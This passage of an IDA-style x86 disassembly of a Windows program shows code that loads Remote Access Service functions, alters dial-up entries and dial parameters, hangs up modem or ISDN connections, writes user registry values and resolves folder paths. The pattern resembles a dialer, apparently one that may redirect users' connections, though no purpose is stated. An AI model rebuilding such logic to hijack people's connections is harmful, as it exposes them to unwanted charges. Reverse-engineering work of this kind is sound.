		mov	edx, [esi]
		push	offset aRasgetentrypro ; "RasGetEntryPropertiesA"
		push	edx
		mov	[esi+5E0h], eax
		call	edi	; GetProcAddress
		mov	[esi+5E4h], eax
		mov	eax, [esi]
		push	offset aRassetentrypro ; "RasSetEntryPropertiesA"
		push	eax
		call	edi	; GetProcAddress
		mov	ecx, [esi]
		push	offset aRashangupa ; "RasHangUpA"
		push	ecx
		mov	[esi+5E8h], eax
		call	edi	; GetProcAddress
		mov	edx, [esi]
		push	offset aRasenumconnect ; "RasEnumConnectionsA"
		push	edx
		mov	[esi+5ECh], eax
		call	edi	; GetProcAddress
		mov	[esi+5F0h], eax
		mov	eax, [esi]
		push	offset aRasgetconnects ; "RasGetConnectStatusA"
		push	eax
		call	edi	; GetProcAddress
		mov	ecx, [esi]
		push	offset aRassetentrydia ; "RasSetEntryDialParamsA"
		push	ecx
		mov	[esi+5F4h], eax
		call	edi	; GetProcAddress
		mov	ecx, [esi+5D8h]
		test	ecx, ecx
		mov	[esi+5F8h], eax
		pop	edi
		jz	short loc_409ABE
		mov	ecx, [esi+5DCh]
		test	ecx, ecx
		jz	short loc_409ABE
		mov	ecx, [esi+5E0h]
		test	ecx, ecx
		jz	short loc_409ABE
		mov	ecx, [esi+5E4h]
		test	ecx, ecx
		jz	short loc_409ABE
		mov	ecx, [esi+5E8h]
		test	ecx, ecx
		jz	short loc_409ABE
		mov	ecx, [esi+5ECh]
		test	ecx, ecx
		jz	short loc_409ABE
		mov	ecx, [esi+5F0h]
		test	ecx, ecx
		jz	short loc_409ABE
		mov	ecx, [esi+5F4h]
		test	ecx, ecx
		jz	short loc_409ABE
		test	eax, eax
		jz	short loc_409ABE
		mov	ecx, esi
		call	sub_4093B0
		neg	eax
		sbb	al, al
		inc	al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_409ABE:				; CODE XREF: sub_4099A0+1Fj
					; sub_4099A0+C3j ...
		xor	al, al
		pop	esi
		retn
sub_4099A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409AD0	proc near		; CODE XREF: sub_405F00+93p
					; sub_407D40+44Ap ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_0]
		test	ebp, ebp
		push	esi
		push	edi
		mov	edi, ecx
		jl	loc_409B6F
		cmp	ebp, [edi+5FCh]
		jge	loc_409B6F
		mov	eax, [edi+600h]
		mov	esi, ebp
		imul	esi, 98h
		lea	ebx, [eax+esi+4]
		test	ebx, ebx
		jz	short loc_409B6F
		push	offset aModem	; "modem"
		push	ebx
		call	ds:dword_40F0B8	; lstrcmp
		test	eax, eax
		jz	short loc_409B24
		push	offset aIsdn	; "isdn"
		push	ebx
		call	ds:dword_40F0B8	; lstrcmp
		test	eax, eax
		jnz	short loc_409B6F


loc_409B24:				; CODE XREF: sub_409AD0+42j
		cmp	ebp, [edi+5FCh]
		jge	short loc_409B38
		mov	ecx, [edi+600h]
		lea	eax, [ecx+esi+15h]
		jmp	short loc_409B3A
; ---------------------------------------------------------------------------


loc_409B38:				; CODE XREF: sub_409AD0+5Aj
		xor	eax, eax


loc_409B3A:				; CODE XREF: sub_409AD0+66j
		mov	edx, [edi+8Ch]
		mov	esi, ds:dword_40F09C
		push	81h
		push	eax
		add	edx, 3DDh
		push	edx
		call	esi	; lstrcpyn
		mov	eax, [edi+8Ch]
		push	11h
		push	ebx
		add	eax, 3CCh
		push	eax
		call	esi	; lstrcpyn
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_409B6F:				; CODE XREF: sub_409AD0+Cj
					; sub_409AD0+18j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn	4
sub_409AD0	endp

; ---------------------------------------------------------------------------
		align 10h


loc_409B80:				; DATA XREF: sub_409D70+49o
		mov	ecx, dword_41253C
		mov	eax, [ecx+5C0h]
		inc	eax
		cmp	eax, 20h
		jl	short loc_409B94
		xor	eax, eax


loc_409B94:				; CODE XREF: .text:00409B90j
		mov	edx, [esp+8]
		mov	[ecx+eax*8+4C0h], edx
		mov	edx, [esp+0Ch]
		mov	[ecx+eax*8+4C4h], edx
		mov	[ecx+5C0h], eax
		retn	0Ch
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409BC0	proc near		; CODE XREF: sub_405EB0+13p
					; sub_408350+10Cp ...

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
arg_0		= dword	ptr  4

		sub	esp, 120h
		push	esi
		mov	esi, ecx
		mov	eax, [esi+5C4h]
		cmp	[esi+5C0h], eax
		push	edi
		jz	short loc_409C41
		inc	eax
		cmp	eax, 20h
		jl	short loc_409BE0
		xor	eax, eax


loc_409BE0:				; CODE XREF: sub_409BC0+1Cj
		mov	ecx, [esi+eax*8+4C4h]
		mov	edx, [esp+128h+arg_0]
		mov	[edx], ecx
		mov	edi, [esi+eax*8+4C0h]
		mov	[esi+5C8h], eax
		mov	[esi+5C4h], eax
		mov	eax, edi
		sub	eax, 2000h
		jz	short loc_409C2D
		dec	eax
		jnz	short loc_409C34
		mov	eax, [esi+5CCh]
		test	eax, eax
		jz	short loc_409C34
		mov	ecx, esi
		call	sub_409300
		mov	eax, edi
		pop	edi
		pop	esi
		add	esp, 120h
		retn	4
; ---------------------------------------------------------------------------


loc_409C2D:				; CODE XREF: sub_409BC0+4Aj
		mov	byte ptr [esi+4BCh], 1


loc_409C34:				; CODE XREF: sub_409BC0+4Dj
					; sub_409BC0+57j
		mov	eax, edi
		pop	edi
		pop	esi
		add	esp, 120h
		retn	4
; ---------------------------------------------------------------------------


loc_409C41:				; CODE XREF: sub_409BC0+16j
		mov	ecx, [esi+4B8h]
		test	ecx, ecx
		jnz	short loc_409C68
		mov	eax, [esp+128h+arg_0]
		pop	edi
		mov	dword ptr [eax], 0
		mov	eax, 2001h
		pop	esi
		add	esp, 120h
		retn	4
; ---------------------------------------------------------------------------


loc_409C68:				; CODE XREF: sub_409BC0+89j
		test	eax, eax
		jge	short loc_409C89
		mov	ecx, [esp+128h+arg_0]
		pop	edi
		mov	dword ptr [ecx], 0
		mov	eax, 2001h
		pop	esi
		add	esp, 120h
		retn	4
; ---------------------------------------------------------------------------


loc_409C89:				; CODE XREF: sub_409BC0+AAj
		mov	edx, [esi+5C8h]
		mov	ecx, [esi+edx*8+4C4h]
		mov	edi, [esp+128h+arg_0]
		mov	[edi], ecx
		mov	eax, [esi+5C8h]
		mov	eax, [esi+eax*8+4C0h]
		cmp	eax, 2000h
		jz	short loc_409CC2
		cmp	eax, 2001h
		jz	short loc_409CC2
		test	ecx, ecx
		jz	loc_409D5E


loc_409CC2:				; CODE XREF: sub_409BC0+F1j
					; sub_409BC0+F8j
		mov	edx, [esi+4B8h]
		lea	ecx, [esp+128h+var_120]
		push	ecx
		push	edx
		mov	[esp+130h+var_120], 120h
		call	dword ptr [esi+5F4h]
		cmp	eax, 6
		jnz	short loc_409D31
		push	0BB8h
		mov	ecx, esi
		call	sub_4097C0
		mov	eax, [esi+4B8h]
		test	eax, eax
		jz	short loc_409D01
		mov	dword ptr [esi+4B8h], 0


loc_409D01:				; CODE XREF: sub_409BC0+135j
		cmp	dword ptr [esi+5CCh], 3
		jnz	short loc_409D11
		mov	ecx, esi
		call	sub_409300


loc_409D11:				; CODE XREF: sub_409BC0+148j
		mov	dword ptr [esi+5C8h], 0FFFFFFFFh
		mov	dword ptr [edi], 0
		pop	edi
		mov	eax, 2001h
		pop	esi
		add	esp, 120h
		retn	4
; ---------------------------------------------------------------------------


loc_409D31:				; CODE XREF: sub_409BC0+11Fj
		cmp	dword ptr [esi+5CCh], 1
		jnz	short loc_409D4C
		mov	eax, [esp+128h+var_11C]
		cmp	eax, 2000h
		jnz	short loc_409D5E
		mov	ecx, esi
		call	sub_4092E0


loc_409D4C:				; CODE XREF: sub_409BC0+178j
		mov	eax, [esp+128h+var_11C]
		cmp	eax, 2000h
		jnz	short loc_409D5E
		mov	byte ptr [esi+4BCh], 1


loc_409D5E:				; CODE XREF: sub_409BC0+FCj
					; sub_409BC0+183j ...
		pop	edi
		pop	esi
		add	esp, 120h
		retn	4
sub_409BC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409D70	proc near		; CODE XREF: sub_408350+216p

var_4		= byte ptr -4

		push	ecx
		push	esi
		push	0BB8h
		mov	esi, ecx
		call	sub_4097C0
		lea	eax, [esp+8+var_4]
		push	eax
		mov	ecx, esi
		call	sub_409BC0
		cmp	eax, 2001h
		jz	short loc_409DB0
		push	edi
		mov	edi, ds:dword_40F0D4


loc_409D98:				; CODE XREF: sub_409D70+3Dj
		push	1
		call	edi	; Sleep
		lea	ecx, [esp+0Ch+var_4]
		push	ecx
		mov	ecx, esi
		call	sub_409BC0
		cmp	eax, 2001h
		jnz	short loc_409D98
		pop	edi


loc_409DB0:				; CODE XREF: sub_409D70+1Fj
		xor	eax, eax
		lea	edx, [esi+4B8h]
		push	edx
		push	offset loc_409B80
		push	eax
		lea	ecx, [esi+94h]
		push	ecx
		push	eax
		push	eax
		mov	dword ptr [esi+5CCh], 1
		mov	[esi+5D0h], eax
		mov	[esi+5D4h], eax
		mov	dword_41253C, esi
		mov	[esi+5C4h], eax
		mov	[esi+5C0h], eax
		mov	dword ptr [esi+5C8h], 0FFFFFFFFh
		call	dword ptr [esi+5DCh]
		pop	esi
		pop	ecx
		retn
sub_409D70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409E10	proc near		; CODE XREF: sub_407D40+5A8p
					; sub_408350+1D3p ...

var_2C		= dword	ptr -2Ch
Memory		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_2		= byte ptr -2

		sub	esp, 2Ch
		push	ebx
		push	esi
		mov	esi, ecx
		mov	al, [esi+4BDh]
		xor	ebx, ebx
		cmp	al, bl
		jz	loc_409ECF
		lea	eax, [esi+98h]
		push	eax
		lea	ecx, [esp+38h+var_2C]
		mov	[esp+38h+var_2C], ebx
		mov	[esp+38h+Memory], ebx
		mov	[esp+38h+var_24], ebx
		mov	[esp+38h+var_20], bl
		mov	[esp+38h+var_2], bl
		call	sub_402310
		mov	ecx, off_4120C4
		mov	edx, off_4120C0
		push	1
		push	ecx
		push	edx
		lea	ecx, [esp+40h+var_2C]
		call	sub_40A040
		mov	eax, off_4120C8
		mov	ecx, off_4120C0
		push	1
		push	eax
		push	ecx
		lea	ecx, [esp+40h+var_2C]
		call	sub_40A040
		cmp	[esi+4BCh], bl
		jz	short loc_409EAF
		mov	eax, [esi+8Ch]
		push	80h
		lea	edx, [esi+199h]
		push	edx
		add	eax, 1Bh
		push	eax
		call	ds:dword_40F09C	; lstrcpyn
		push	ebx
		lea	ecx, [esi+94h]
		push	ecx
		push	ebx
		call	dword ptr [esi+5F8h]


loc_409EAF:				; CODE XREF: sub_409E10+72j
		mov	eax, [esp+34h+Memory]
		cmp	eax, ebx
		jz	short loc_409EC4
		push	eax		; Memory
		call	_free
		add	esp, 4
		mov	[esp+34h+Memory], ebx


loc_409EC4:				; CODE XREF: sub_409E10+A5j
		mov	edx, [esp+34h+var_2C]
		push	edx
		call	ds:dword_40F194


loc_409ECF:				; CODE XREF: sub_409E10+11j
		mov	eax, [esi+90h]
		mov	ecx, [esi+8Ch]
		push	ebx
		push	ebx
		push	eax
		push	ecx
		lea	edx, [esi+98h]
		push	edx
		push	ebx
		call	dword ptr [esi+5E8h]
		pop	esi
		pop	ebx
		add	esp, 2Ch
		retn
sub_409E10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409F00	proc near		; CODE XREF: sub_406580+3Bp
					; sub_4065D0+ADp

var_200		= byte ptr -200h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 200h
		mov	edx, [esp+200h+arg_4]
		push	esi
		push	200h
		lea	eax, [esp+208h+var_200]
		push	eax
		push	edx
		mov	[esp+210h+var_200], 0
		call	dword ptr [ecx+5E0h]
		mov	esi, [esp+204h+arg_8]
		lea	eax, [esp+204h+var_200]
		push	eax
		mov	ecx, esi
		call	sub_402310
		push	esi
		mov	esi, [esp+208h+arg_0]
		mov	ecx, esi
		call	sub_406190
		mov	eax, esi
		pop	esi
		add	esp, 200h
		retn	0Ch
sub_409F00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409F60	proc near		; CODE XREF: sub_4030B0+5Fp
					; .text:00403205p ...
		push	ebx
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		push	edi
		jnz	short loc_409F6F
		xor	ebx, ebx
		jmp	short loc_409F78
; ---------------------------------------------------------------------------


loc_409F6F:				; CODE XREF: sub_409F60+9j
		push	eax
		call	ds:dword_40F188
		mov	ebx, eax


loc_409F78:				; CODE XREF: sub_409F60+Dj
		mov	eax, [esi+8]
		lea	edi, [ebx+1]
		cmp	eax, edi
		ja	short loc_409FA9
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_409F92
		push	eax		; Memory
		call	_free
		add	esp, 4


loc_409F92:				; CODE XREF: sub_409F60+27j
		push	edi		; Size
		mov	[esi+8], edi
		call	_malloc
		add	esp, 4
		test	eax, eax
		mov	[esi+4], eax
		jnz	short loc_409FA9
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_409FA9:				; CODE XREF: sub_409F60+20j
					; sub_409F60+43j
		mov	eax, [esi+4]
		push	0
		push	0
		mov	byte ptr [eax],	0
		mov	ecx, [esi+8]
		mov	edx, [esi+4]
		mov	eax, [esi]
		push	ecx
		push	edx
		push	ebx
		push	eax
		push	0
		push	0
		call	ds:dword_40F03C	; WideCharToMultiByte
		mov	ecx, [esi+4]
		mov	byte ptr [ebx+ecx], 0
		mov	eax, [esi+4]
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_409F60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409FE0	proc near		; CODE XREF: sub_40A3B0+28p
					; sub_40A3B0+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_8]
		push	edi
		mov	esi, ecx
		call	ds:dword_40F0E0	; LoadLibraryA
		test	eax, eax
		mov	ebx, [esp+0Ch+arg_0]
		mov	[ebx], eax
		jz	short loc_40A019
		push	offset aShgetfolderpat ; "SHGetFolderPathA"
		push	eax
		call	ds:dword_40F0DC	; GetProcAddress
		test	eax, eax
		mov	ecx, [esp+0Ch+arg_4]
		mov	[ecx], eax
		jnz	short loc_40A021
		mov	edx, [ebx]
		push	edx
		call	ds:dword_40F0C8	; FreeLibrary


loc_40A019:				; CODE XREF: sub_409FE0+18j
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40A021:				; CODE XREF: sub_409FE0+2Ej
		push	1Dh
		push	edi
		add	esi, 0Ch
		push	esi
		call	ds:dword_40F09C	; lstrcpyn
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		retn	0Ch
sub_409FE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40A040	proc near		; CODE XREF: sub_409E10+4Fp
					; sub_409E10+67p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	al, byte ptr [esp+arg_8]
		test	al, al
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		push	edi
		mov	edi, ds:dword_40F00C
		mov	ebx, ecx
		jnz	short loc_40A0A7
		lea	eax, [esp+10h+arg_8]
		push	eax
		push	20019h
		push	0
		push	esi
		push	80000001h
		call	edi	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_40A093
		mov	ecx, [esp+10h+arg_8]
		push	eax
		push	eax
		push	eax
		push	eax
		push	ebp
		push	ecx
		call	ds:dword_40F01C	; RegQueryValueExA
		test	eax, eax
		jz	short loc_40A09C
		mov	edx, [esp+10h+arg_8]
		push	edx
		call	ds:dword_40F020	; RegCloseKey


loc_40A093:				; CODE XREF: sub_40A040+32j
					; sub_40A040+7Dj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40A09C:				; CODE XREF: sub_40A040+46j
		mov	eax, [esp+10h+arg_8]
		push	eax
		call	ds:dword_40F020	; RegCloseKey


loc_40A0A7:				; CODE XREF: sub_40A040+1Aj
		lea	ecx, [esp+10h+arg_8]
		push	ecx
		push	20006h
		push	0
		push	esi
		push	80000001h
		call	edi	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_40A093
		mov	ecx, ebx
		call	sub_409F60
		mov	ecx, eax
		lea	esi, [ecx+1]
		jmp	short loc_40A0D0
; ---------------------------------------------------------------------------
		align 10h


loc_40A0D0:				; CODE XREF: sub_40A040+8Bj
					; sub_40A040+95j
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jnz	short loc_40A0D0
		mov	edx, [esp+10h+arg_8]
		sub	ecx, esi
		push	ecx
		push	eax
		push	1
		push	0
		push	ebp
		push	edx
		call	ds:dword_40F010	; RegSetValueExA
		mov	ebx, eax
		mov	eax, [esp+10h+arg_8]
		neg	ebx
		sbb	bl, bl
		push	eax
		inc	bl
		call	ds:dword_40F020	; RegCloseKey
		pop	edi
		pop	esi
		pop	ebp
		mov	al, bl
		pop	ebx
		retn	0Ch
sub_40A040	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40A110	proc near		; CODE XREF: sub_403350+5B3p

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 210h
		push	esi
		lea	eax, [esp+214h+var_210]
		push	eax
		push	offset dword_40FC3C
		push	1
		push	0
		push	offset dword_40FC4C
		mov	esi, ecx
		call	ds:dword_40F26C
		test	eax, eax
		jge	short loc_40A142
		xor	al, al
		pop	esi
		add	esp, 210h
		retn	8
; ---------------------------------------------------------------------------


loc_40A142:				; CODE XREF: sub_40A110+24j
		mov	eax, [esp+214h+var_210]
		mov	ecx, [eax]
		lea	edx, [esp+214h+var_20C]
		push	edx
		push	offset dword_40FC7C
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jl	short loc_40A1C1
		mov	ecx, esi
		call	sub_409F60
		mov	esi, eax
		push	esi
		call	sub_40B3BD
		mov	edx, [esp+218h+arg_0]
		mov	eax, [esp+218h+var_210]
		mov	ecx, [eax]
		add	esp, 4
		push	edx
		push	eax
		call	dword ptr [ecx+50h]
		mov	edx, [esp+214h+arg_4]
		mov	eax, [esp+214h+var_210]
		mov	ecx, [eax]
		push	edx
		push	eax
		call	dword ptr [ecx+1Ch]
		push	104h
		lea	eax, [esp+218h+var_208]
		push	eax
		push	0FFFFFFFFh
		push	esi
		push	0
		push	0
		call	ds:dword_40F038	; MultiByteToWideChar
		mov	eax, [esp+214h+var_20C]
		mov	ecx, [eax]
		push	1
		lea	edx, [esp+218h+var_208]
		push	edx
		push	eax
		call	dword ptr [ecx+18h]
		mov	eax, [esp+214h+var_20C]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_40A1C1:				; CODE XREF: sub_40A110+47j
		mov	eax, [esp+214h+var_210]
		mov	edx, [eax]
		push	eax
		call	dword ptr [edx+8]
		mov	al, 1
		pop	esi
		add	esp, 210h
		retn	8
sub_40A110	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40A1E0	proc near		; CODE XREF: sub_4030B0+43p
					; .text:004031F1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		mov	eax, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		mov	ecx, [esp+8+arg_0]
		push	eax
		push	ecx
		lea	ecx, [esp+10h+var_4]
		mov	[esp+10h+var_4], 0
		call	sub_401DD0
		cmp	al, 1
		jz	short loc_40A215
		mov	edx, [esp+8+var_4]
		push	edx
		call	ds:dword_40F194
		xor	al, al
		pop	esi
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_40A215:				; CODE XREF: sub_40A1E0+21j
		push	ebx
		mov	ebx, ds:dword_40F194
		push	edi
		mov	edi, [esp+10h+var_4]
		test	edi, edi
		jz	short loc_40A24A
		mov	ecx, [esi]
		lea	eax, [esp+10h+arg_4]
		push	eax
		push	edi
		push	ecx
		mov	[esp+1Ch+arg_4], 0
		call	sub_40A570
		test	eax, eax
		jl	short loc_40A24A
		mov	edx, [esi]
		push	edx
		call	ebx
		mov	eax, [esp+10h+arg_4]
		mov	[esi], eax


loc_40A24A:				; CODE XREF: sub_40A1E0+43j
					; sub_40A1E0+5Dj
		push	edi
		call	ebx
		pop	edi
		pop	ebx
		mov	al, 1
		pop	esi
		pop	ecx
		retn	8
sub_40A1E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40A260	proc near		; CODE XREF: sub_403350+F3p
					; sub_403350+1A3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_4]
		inc	edi
		push	edi		; Size
		mov	ebx, ecx
		call	_malloc
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	short loc_40A281
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A281:				; CODE XREF: sub_40A260+17j
		mov	eax, [esp+0Ch+arg_0]
		push	edi
		push	eax
		push	esi
		call	ds:dword_40F09C	; lstrcpyn
		push	esi
		mov	ecx, ebx
		call	sub_402310
		push	esi		; Memory
		call	_free
		add	esp, 4
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		retn	8
sub_40A260	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40A2B0	proc near		; CODE XREF: sub_403350+18Ap
					; sub_40A390+Fp

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ecx
		mov	edx, [esp+4+arg_0]
		push	ebp
		lea	eax, [esp+8+var_4]
		push	eax
		push	0
		mov	ebp, ecx
		mov	ecx, [esp+10h+arg_4]
		push	0
		push	ecx
		push	edx
		mov	[esp+1Ch+var_4], 0
		call	ds:dword_40F00C	; RegOpenKeyExA
		test	eax, eax
		jz	short loc_40A2E0
		xor	al, al
		pop	ebp
		pop	ecx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40A2E0:				; CODE XREF: sub_40A2B0+27j
		mov	edx, [esp+8+var_4]
		push	ebx
		mov	ebx, ds:dword_40F01C
		push	edi
		mov	edi, [esp+10h+arg_8]
		lea	eax, [esp+10h+arg_4]
		push	eax
		push	0
		lea	ecx, [esp+18h+arg_0]
		push	ecx
		push	0
		push	edi
		push	edx
		call	ebx	; RegQueryValueExA
		test	eax, eax
		jnz	short loc_40A378
		cmp	[esp+0Ch+arg_4], 1
		jnz	short loc_40A378
		mov	eax, [esp+0Ch+arg_8]
		inc	eax
		push	esi
		push	eax		; Size
		call	_malloc
		mov	ecx, [esp+14h]
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	short loc_40A337
		push	ecx
		call	ds:dword_40F020	; RegCloseKey
		pop	esi
		pop	edi
		pop	ebx
		xor	al, al
		pop	ebp
		pop	ecx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40A337:				; CODE XREF: sub_40A2B0+74j
		lea	edx, [esp+10h+arg_8]
		push	edx
		push	esi
		lea	eax, [esp+18h+arg_4]
		push	eax
		push	0
		push	edi
		push	ecx
		call	ebx	; RegQueryValueExA
		mov	ebx, eax
		neg	ebx
		sbb	bl, bl
		inc	bl
		jz	short loc_40A35A
		push	esi
		mov	ecx, ebp
		call	sub_402310


loc_40A35A:				; CODE XREF: sub_40A2B0+A0j
		mov	edx, [esp+10h]
		push	edx
		call	ds:dword_40F020	; RegCloseKey
		push	esi		; Memory
		call	_free
		add	esp, 4
		pop	esi
		pop	edi
		mov	al, bl
		pop	ebx
		pop	ebp
		pop	ecx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40A378:				; CODE XREF: sub_40A2B0+54j
					; sub_40A2B0+5Bj
		mov	eax, [esp+0Ch]
		push	eax
		call	ds:dword_40F020	; RegCloseKey
		pop	edi
		pop	ebx
		xor	al, al
		pop	ebp
		pop	ecx
		retn	0Ch
sub_40A2B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40A390	proc near		; CODE XREF: sub_403350+4DAp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	eax
		push	edx
		push	80000001h
		call	sub_40A2B0
		retn	8
sub_40A390	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40A3B0	proc near		; CODE XREF: sub_403350+156p
					; sub_403350+168p ...

var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h
arg_0		= dword	ptr  4

		sub	esp, 10Ch
		push	ebx
		push	esi
		mov	esi, ecx
		mov	al, [esi+2Ah]
		xor	ebx, ebx
		cmp	al, bl
		jnz	short loc_40A40B
		push	offset aShell32_dll ; "Shell32.dll"
		lea	eax, [esp+118h+var_108]
		push	eax
		lea	ecx, [esp+11Ch+var_10C]
		push	ecx
		mov	ecx, esi
		mov	byte ptr [esi+2Ah], 1
		call	sub_409FE0
		test	al, al
		jnz	short loc_40A42B
		push	offset aShfolder_dll ; "SHFolder.dll"
		lea	edx, [esp+118h+var_108]
		push	edx
		lea	eax, [esp+11Ch+var_10C]
		push	eax
		mov	ecx, esi
		call	sub_409FE0
		test	al, al
		jnz	short loc_40A42B
		mov	[esi+0Ch], bl


loc_40A3FE:				; CODE XREF: sub_40A3B0+63j
					; sub_40A3B0+79j
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 10Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40A40B:				; CODE XREF: sub_40A3B0+11j
		mov	cl, [esi+0Ch]
		cmp	cl, bl
		lea	eax, [esi+0Ch]
		jz	short loc_40A3FE
		push	eax
		lea	ecx, [esp+118h+var_108]
		push	ecx
		lea	edx, [esp+11Ch+var_10C]
		push	edx
		mov	ecx, esi
		call	sub_409FE0
		test	al, al
		jz	short loc_40A3FE


loc_40A42B:				; CODE XREF: sub_40A3B0+2Fj
					; sub_40A3B0+49j
		mov	ecx, [esp+114h+arg_0]
		lea	eax, [esp+114h+var_104]
		push	eax
		push	ebx
		push	ebx
		push	ecx
		push	ebx
		mov	[esp+128h+var_104], bl
		call	[esp+128h+var_108]
		cmp	eax, ebx
		jl	short loc_40A460
		cmp	eax, 1
		jg	short loc_40A460
		cmp	[esp+114h+var_104], bl
		jz	short loc_40A460
		lea	edx, [esp+114h+var_104]
		push	edx
		mov	ecx, esi
		call	sub_402310
		mov	bl, 1


loc_40A460:				; CODE XREF: sub_40A3B0+95j
					; sub_40A3B0+9Aj ...
		mov	eax, [esp+114h+var_10C]
		push	eax
		call	ds:dword_40F0C8	; FreeLibrary
		pop	esi
		mov	al, bl
		pop	ebx
		add	esp, 10Ch
		retn	4
sub_40A3B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40A480	proc near		; CODE XREF: sub_403350+2B7p
					; sub_406210+10Ap ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  4

		sub	esp, 20h
		push	esi
		push	0Ah		; int
		lea	eax, [esp+28h+var_20]
		mov	esi, ecx
		mov	ecx, [esp+28h+arg_0]
		push	eax		; char *
		push	ecx		; __int32
		call	__ltoa
		add	esp, 0Ch
		lea	edx, [esp+24h+var_20]
		push	edx
		mov	ecx, esi
		call	sub_402310
		pop	esi
		add	esp, 20h
		retn	4
sub_40A480	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40A4B0	proc near		; CODE XREF: sub_406210+EBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		push	ebx
		push	edi
		mov	edi, [esp+0Ch+arg_0]
		push	edi
		mov	[esp+10h+var_4], ecx
		call	ds:dword_40F084	; lstrlen
		lea	eax, [eax+eax*2+1]
		push	eax		; Size
		call	_malloc
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_40A4DD
		pop	edi
		xor	al, al
		pop	ebx
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------


loc_40A4DD:				; CODE XREF: sub_40A4B0+23j
		mov	al, [edi]
		test	al, al
		push	esi
		mov	esi, ebx
		jz	short loc_40A529
		push	ebp
		mov	ebp, ds:dword_40F1E0
		lea	ecx, [ecx+0]


loc_40A4F0:				; CODE XREF: sub_40A4B0+76j
		movsx	eax, al
		movsx	ecx, al
		mov	[esi], al
		inc	esi
		sub	ecx, 20h
		inc	edi
		cmp	ecx, 1Eh	; switch 31 cases
		ja	short loc_40A522 ; default
					; jumptable 0040A509 cases 1,2,4,7-27,29
		movzx	ecx, ds:byte_40A550[ecx]
